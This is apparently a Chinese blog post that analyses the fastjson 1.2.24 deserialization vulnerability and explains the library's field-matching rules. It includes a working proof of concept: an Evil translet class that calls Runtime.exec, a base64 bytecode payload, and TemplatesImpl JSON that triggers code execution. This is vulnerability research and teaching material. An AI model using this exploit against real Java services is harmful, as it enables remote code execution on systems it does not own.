fastjson反序列化漏洞分析

基本使用

maven

<dependency>
    <groupId>com.alibaba</groupId>
    <artifactId>fastjson</artifactId>
    <version>1.2.24</version>
</dependency>

序列化

package fastjsonHelloWorld;

public class User {
    private String name;
    private Integer age;
    private String email;

    public String getName_1() {
        return name;
    }

    public void setName_1(String name) {
        this.name = name;
    }

    public Integer getAge() {
        return age;
    }

    public void setAge(Integer age) {
        this.age = age;
    }

    public String toString() {
        return "name:" + name + " age:" + age + " email:" + email;
    }
}
package fastjsonHelloWorld;

import java.util.ArrayList;
import java.util.List;
import com.alibaba.fastjson.JSON;

public class fastjsonSerialize {

    public static void main(String[] args) {
        User user = new User();
        user.setName_1("xiaomin");
        user.setAge(18);

        String json = JSON.toJSONString(user);
        System.out.println(json);

        List<User> users = new ArrayList<User>();
        users.add(user);
        String jsonlist = JSON.toJSONString(users);
        System.out.println(jsonlist);
    }
}

输出:

{"age":18,"name_1":"xiaomin"}
[{"age":18,"name_1":"xiaomin"}]

反序列化

package fastjsonHelloWorld;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;

public class fastjsonDeserialize {

    public static void main(String[] args) {
        String json = "{\"@type\":\"fastjsonHelloWorld.User\",\"name_1\":\"xiaomin\",\"age\":20, \"email\":\"xxx@qq.com\"}";
        User user = (User) JSON.parse(json);
        System.out.println(user.toString());

        Object obj = JSON.parseObject(json, Object.class, Feature.SupportNonPublicField);
        System.out.println(obj);
    }
}

输出:

name:xiaomin age:20 email:null
name:xiaomin age:20 email:xxx@qq.com

get/set方法匹配规则

com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.smartMatch(String key)匹配get/set方法时,会去掉field前的_和-,并忽略大小写。

  public FieldDeserializer smartMatch(String key)
  {
    if (key == null) {
      return null;
    }
    FieldDeserializer fieldDeserializer = getFieldDeserializer(key);
    FieldDeserializer fieldDeser;
    if (fieldDeserializer == null)
    {
      boolean startsWithIs = key.startsWith("is");
      for (fieldDeser : this.sortedFieldDeserializers)
      {
        FieldInfo fieldInfo = fieldDeser.fieldInfo;
        Class<?> fieldClass = fieldInfo.fieldClass;
        String fieldName = fieldInfo.name;
        if (fieldName.equalsIgnoreCase(key))
        {
          fieldDeserializer = fieldDeser;
          break;
        }
        if ((startsWithIs) && ((fieldClass == Boolean.TYPE) || (fieldClass == Boolean.class))) {
          if (fieldName.equalsIgnoreCase(key.substring(2)))
          {
            fieldDeserializer = fieldDeser;
            break;
          }
        }
      }
    }
    boolean snakeOrkebab;
    String key2;
    int i;
    if (fieldDeserializer == null)
    {
      snakeOrkebab = false;
      key2 = null;
      char ch;
      for (i = 0; i < key.length(); i++)
      {
        ch = key.charAt(i);
        if (ch == '_')
        {
          snakeOrkebab = true;
          key2 = key.replaceAll("_", "");
          break;
        }
        if (ch == '-')
        {
          snakeOrkebab = true;
          key2 = key.replaceAll("-", "");
          break;
        }
      }
      if (snakeOrkebab)
      {
        fieldDeserializer = getFieldDeserializer(key2);
        if (fieldDeserializer == null)
        {
          FieldDeserializer[] arrayOfFieldDeserializer2 = this.sortedFieldDeserializers;ch = arrayOfFieldDeserializer2.length;
          for (fieldDeser = 0; fieldDeser < ch; fieldDeser++)
          {
            FieldDeserializer fieldDeser = arrayOfFieldDeserializer2[fieldDeser];
            if (fieldDeser.fieldInfo.name.equalsIgnoreCase(key2))
            {
              fieldDeserializer = fieldDeser;
              break;
            }
          }
        }
      }
    }
    if (fieldDeserializer == null) {
      for (FieldDeserializer fieldDeser : this.sortedFieldDeserializers) {
        if (fieldDeser.fieldInfo.alternateName(key))
        {
          fieldDeserializer = fieldDeser;
          break;
        }
      }
    }
    return fieldDeserializer;
  }

总结

  • 反序列化时需要输入的json字符串指定@type
  • 对于private成员,默认通过匹配get/set方法来反序列化,匹配不到则无法反序列化类成员变量。
  • 对于public成员,默认通过匹配get/set方法来反序列化,匹配不到则直接匹配类成员名;再匹配不到则无法反序列化类成员变量。
  • 如果开启Feature.SupportNonPublicField,则private成员反序列化规则同public成员。
  • 类成员和类方法的匹配规则为smartMatch,去掉field前的_和-,并忽略大小写

漏洞分析

POC

    <dependencies>
        <dependency>
            <groupId>com.alibaba</groupId>
            <artifactId>fastjson</artifactId>
            <version>1.2.24</version>
        </dependency>
        <dependency>
            <groupId>commons-io</groupId>
            <artifactId>commons-io</artifactId>
            <version>2.4</version>
        </dependency>
        <dependency>
            <groupId>commons-codec</groupId>
            <artifactId>commons-codec</artifactId>
            <version>1.9</version>
        </dependency>
    </dependencies>
package fastjsonHelloWorld;
import com.sun.org.apache.xalan.internal.xsltc.DOM;
import com.sun.org.apache.xalan.internal.xsltc.TransletException;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator;
import com.sun.org.apache.xml.internal.serializer.SerializationHandler;
import java.io.IOException;
public class Evil extends AbstractTranslet {
    public Evil() throws IOException {
        Runtime.getRuntime().exec("calc");
    }

    public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {     
    }

    @Override
    public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler)
            throws TransletException {
    }
}
package fastjsonHelloWorld;

import java.io.ByteArrayOutputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;

import org.apache.commons.codec.binary.Base64;
import org.apache.commons.io.IOUtils;

import com.alibaba.fastjson.JSON;
import com.alibaba.fastjson.parser.Feature;


public class fastjsonPOC {

    public static String aposToQuotes(String json){
        return json.replace("'", "\"");
    }

    public static String readClassStr(String cls){
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        try {
            IOUtils.copy(new FileInputStream(new File(cls)), bos);
        } catch (IOException e) {
            e.printStackTrace();
        }
        return Base64.encodeBase64String(bos.toByteArray());
    }

    public static void main(String[] args) throws Exception {
        String evilcode = readClassStr("D:\\Users\\workspace\\fastjsonHelloWorld\\target\\classes\\fastjsonHelloWorld\\Evil.class");
        //{"@type": "com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl","_bytecodes": ["yv66vgAAADEALAcAAgEAF2Zhc3Rqc29uSGVsbG9Xb3JsZC9FdmlsBwAEAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEABjxpbml0PgEAAygpVgEACkV4Y2VwdGlvbnMHAAkBABNqYXZhL2lvL0lPRXhjZXB0aW9uAQAEQ29kZQoAAwAMDAAFAAYKAA4AEAcADwEAEWphdmEvbGFuZy9SdW50aW1lDAARABIBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7CAAUAQAEY2FsYwoADgAWDAAXABgBAARleGVjAQAnKExqYXZhL2xhbmcvU3RyaW5nOylMamF2YS9sYW5nL1Byb2Nlc3M7AQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAGUxmYXN0anNvbkhlbGxvV29ybGQvRXZpbDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYHACABADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAJRXZpbC5qYXZhACEAAQADAAAAAAADAAEABQAGAAIABwAAAAQAAQAIAAoAAABAAAIAAQAAAA4qtwALuAANEhO2ABVXsQAAAAIAGQAAAA4AAwAAAAkABAAKAA0ACwAaAAAADAABAAAADgAbABwAAAABAB0AHgACAAcAAAAEAAEAHwAKAAAAPwAAAAMAAAABsQAAAAIAGQAAAAYAAQAAAA4AGgAAACAAAwAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAjACQAAgABAB0AJQACAAcAAAAEAAEAHwAKAAAASQAAAAQAAAABsQAAAAIAGQAAAAYAAQAAABMAGgAAACoABAAAAAEAGwAcAAAAAAABACEAIgABAAAAAQAmACcAAgAAAAEAKAApAAMAAQAqAAAAAgAr"],"_name": "a.b","_tfactory": {},"_outputProperties": {}}
        String json = aposToQuotes(
                "{" + 
    "'@type': 'com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl'," +
    "'_bytecodes': " + "['" + evilcode + "']," +
    "'_name': 'a.b'," + 
    "'_tfactory': {}," + 
    "'_outputProperties': {}" + 
"}");
        System.out.println(json);
        JSON.parseObject(json,Object.class,Feature.SupportNonPublicField);
    }
}

触发条件

  • fastjson <= 1.2.24
  • Feature.SupportNonPublicField

参考

源码

http://download.csdn.net/detail/m0_38043244/9858439

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值